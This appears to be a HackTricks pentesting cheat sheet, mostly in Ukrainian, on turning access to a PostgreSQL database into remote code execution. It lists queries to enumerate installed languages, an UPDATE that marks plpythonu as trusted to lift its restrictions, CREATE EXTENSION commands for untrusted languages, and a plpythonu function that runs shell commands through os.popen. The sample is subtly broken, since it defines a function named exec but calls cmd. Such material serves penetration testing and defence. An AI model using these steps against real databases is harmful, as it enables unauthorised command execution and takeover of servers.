RCE with PostgreSQL Languages

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

PostgreSQL Languages

База даних PostgreSQL, до якої ви отримали доступ, може мати різні встановлені мови сценаріїв, які ви могли б використати для виконання довільного коду.

Ви можете запустити їх:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Більшість мов сценаріїв, які ви можете встановити в PostgreSQL, мають 2 варіанти: достовірний та недостовірний. Недостовірний буде мати назву, що закінчується на "u" і буде версією, яка дозволить вам виконувати код та використовувати інші цікаві функції. Це мови, які, якщо встановлені, є цікавими:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (будь-яка інша мова програмування, що використовує ненадійну версію)

Якщо ви виявите, що цікава мова встановлена, але недостовірна для PostgreSQL (lanpltrusted є false), ви можете спробувати достовірити її за допомогою наступного рядка, щоб жодні обмеження не застосовувалися з боку PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Якщо ви не бачите мову, ви можете спробувати завантажити її з (вам потрібно бути суперадміністратором):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Зверніть увагу, що можливо скомпілювати безпечні версії як "незахищені". Перегляньте це для прикладу. Тому завжди варто спробувати, чи можете ви виконати код, навіть якщо ви знайшли лише встановлену достовірну версію.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Перевірте наступну сторінку:

PL/pgSQL Password Bruteforce

C

Перевірте наступну сторінку:

RCE with PostgreSQL Extensions

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Last updated